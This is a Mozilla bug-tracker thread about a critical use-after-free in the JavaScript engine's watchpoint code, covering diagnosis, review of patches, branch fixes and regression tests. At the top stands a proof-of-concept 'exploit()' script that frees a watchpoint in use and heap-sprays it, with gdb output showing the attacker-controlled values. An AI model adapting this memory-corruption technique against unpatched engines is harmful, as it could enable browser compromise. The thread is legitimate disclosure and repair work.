Closed Bug 362872 Opened 13 years ago Closed 13 years ago

script can drop a watchpoint that is in use

Categories

(Core :: JavaScript Engine, defect, critical)

defect
Not set
critical

Tracking

()

VERIFIED FIXED

People

(Reporter: sync2d, Assigned: brendan)

Details

(Keywords: crash, verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:critical] mostly fixed by 324010)

Attachments

(5 files, 3 obsolete files)

$ cat double-unwatch.txt
function exploit() {
  var rooter = {}, object = {}, filler1 = "", filler2 = "\u5555";
  for(var i = 0; i < 32/2-2; i++) { filler1 += "\u5050"; }
  object.watch("foo", function(){
    object.unwatch("foo");
    object.unwatch("foo");
    for(var i = 0; i < 8 * 1024; i++) {
      rooter[i] = filler1 + filler2;
    }
  });
  object.foo = "bar";
}
exploit();

$ gdb --eval run --args dbg.obj/js double-unwatch.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x0043b1d0 in js_watch_set (cx=0xb50730, obj=0xa44d00, id=10767564,
    vp=0xa2eb64) at jsdbgapi.c:384
384                     clasp = OBJ_GET_CLASS(cx, closure);
(gdb) print *wp
$1 = {links = {next = 0x50505050, prev = 0x50505050}, object = 0x50505050,
  sprop = 0x50505050, setter = 0x50505050, handler = 0x50505050,
  closure = <incomplete type>, nrefs = 21845}

exploitable.
Assignee: general → mrbkap
Whiteboard: [sg:critical]
Attached patch One way of fixing this (obsolete) — Splinter Review
This changes the meaning of JS_ClearWatchPoint slightly (so that two calls to it only result in one call to DropWatchPoint), and I'm not sure if that's OK. I could move this check into obj_unwatch (and move JSWatchPoint into jsdbgapi.h), which would not change the API.
Attachment #248317 - Flags: review?(brendan)
Comment on attachment 248317 [details] [diff] [review]
One way of fixing this

Not bad. It seems very bogus that JS_ClearWatchPoint can manipulate wp->nrefs. If the latter is counting strong refs (from rp->watchPointList and any wp local(s) active in js_watch_set frames), then it should not be possible to drop such a strong ref from the watch function, via *any* calls to unwatch.

So it might be better to eliminate nrefs in favor of a frozen flag. Then js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it found it set.  What do you think?

/be
(In reply to comment #2)
> So it might be better to eliminate nrefs in favor of a frozen flag. Then
> js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it
> found it set.  What do you think?

I think we need a tri-state instead of a boolean. JS_ClearWatchPoint does indeed drop wp->nrefs to represent the ref from rt->watchPointList. So we need:
1: The watchpoint has been added and not dropped
2: The watchpoint is currently running

And if we drop from one of these two states and the other is not set, then we free the watch point. Perhaps we should just encode this into wp->nrefs?
This was fixed as part of the patch for bug 324010 (which was mistakenly checked in, but with r+, with a checkin message citing bug 366468).

/be
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Attachment #248317 - Attachment is obsolete: true
Attachment #248317 - Flags: review?(brendan)
Flags: wanted1.8.1.x+
Flags: wanted1.8.0.x+
Flags: blocking1.8.1.2?
Flags: blocking1.8.0.10?
For the older branches do we want the whole patch from bug 324010 or would it make sense to go with a smaller, more specific patch on the branches?
Whiteboard: [sg:critical] → [sg:critical] fixed by 324010
Flags: in-testsuite+
(In reply to comment #5)
> For the older branches do we want the whole patch from bug 324010 or would it
> make sense to go with a smaller, more specific patch on the branches?

Smaller patch -- will attach one soon.

/be
Attached patch 1.8 branch patch (obsolete) — Splinter Review
Needs review, enough changed. Also needs testing -- I'm swamped but found time to extract this patch.

/be
Assignee: mrbkap → brendan
Status: RESOLVED → ASSIGNED
Attachment #251821 - Flags: review?(mrbkap)
Attachment #251821 - Flags: approval1.8.1.2?
Resolution: FIXED → ---
Attached patch 1.8.0 branch patch (obsolete) — Splinter Review
Attachment #251822 - Flags: review?(mrbkap)
Attachment #251822 - Flags: approval1.8.0.10?
Comment on attachment 251821 [details] [diff] [review]
1.8 branch patch

>Index: jsdbgapi.c
>-        if (wp->object == obj && SPROP_USERID(sprop) == id) {
>+        if (wp->object == obj && SPROP_USERID(sprop) == id &&
>+            !(wp->flags & JSWP_HELD)) {
>+            wp->flags |= JSWP_HELD;

Crap, I missed this before: the additional test in the if statement will cause us to hit the assertion at the end of this function, since we are guaranteed to find a watch point. There is watchpoint recursion protection in obj_watch_handler already.

Maybe with this line, we should simply remove the recursion protection and the assertion (and change the return value to JS_TRUE).

Here's a testcase:
js> this.watch('x', function f() { print("before"); x = 3; print("after"); })
js> x = 3
before
Assertion failure: 0, at jsdbgapi.c:565
Flags: wanted1.8.1.x+
Flags: wanted1.8.0.x+
Flags: blocking1.8.1.2?
Flags: blocking1.8.1.2+
Flags: blocking1.8.0.10?
Flags: blocking1.8.0.10+
mrbkap: thanks, fixed that as proposed.

/be
Attachment #251821 - Attachment is obsolete: true
Attachment #251821 - Flags: review?(mrbkap)
Attachment #251821 - Flags: approval1.8.1.2?
Attachment #251822 - Attachment is obsolete: true
Attachment #251841 - Flags: review?(mrbkap)
Attachment #251822 - Flags: review?(mrbkap)
Attachment #251822 - Flags: approval1.8.0.10?
Attached patch trunk patchSplinter Review
Attachment #251842 - Flags: review?(mrbkap)
Attachment #251840 - Flags: review?(mrbkap)
Attachment #251840 - Flags: approval1.8.1.2?
Attachment #251841 - Flags: approval1.8.0.10?
Attachment #251842 - Flags: review?(mrbkap) → review+
Attachment #251841 - Flags: review?(mrbkap) → review+
Attachment #251840 - Flags: review?(mrbkap) → review+
Fixed on trunk:

js/src/jsdbgapi.c rev 3.85

/be
Comment on attachment 251840 [details] [diff] [review]
fixed 1.8 branch patch

Approved for 1.8 branch, a=jay for drivers.
Attachment #251840 - Flags: approval1.8.1.2? → approval1.8.1.2+
Comment on attachment 251841 [details] [diff] [review]
fixed 1.8.0 branch patch

Approved for 1.8.0 branch, a=jay for drivers.
Attachment #251841 - Flags: approval1.8.0.10? → approval1.8.0.10+
Whiteboard: [sg:critical] fixed by 324010 → [sg:critical] mostly fixed by 324010
1.8:   js/src/jsdbgapi.c 3.56.2.15
1.8.0: js/src/jsdbgapi.c 3.56.2.1.4.10

/be
Status: ASSIGNED → RESOLVED
Closed: 13 years ago13 years ago
Resolution: --- → FIXED
verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux based on js1_5/Object/regress-362872.js. 
Status: RESOLVED → VERIFIED
mrbkap's test from comment 10.
debug linux 1.9.0 on shutdown
Assertion failure: overwriting, at /work/mozilla/builds/1.9.0/mozilla/js/src/jsscope.c:1237
Trace/breakpoint trap

debug linux 1.8.1 on shutdown 
Assertion failure: overwriting, at /work/mozilla/builds/1.8.1/mozilla/js/src/jsscope.c:1133
Trace/breakpoint trap

debug linux 1.8.0
Assertion failure: overwriting, at /work/mozilla/builds/1.8.0/mozilla/js/src/jsscope.c:1132

dittos windows and mac (I think).
btw, shutting down is not necessary. just click the home button and you will hit the same assert.
New bug please -- cc: mrbkap and me.

/be
assert is fixed by patch in bug 361856 comment 9
Group: security
/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-01.js,v  <--  regress-362872-01.js
initial revision: 1.1

/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-02.js,v  <--  regress-362872-02.js
initial revision: 1.1
You need to log in before you can comment on or make changes to this bug.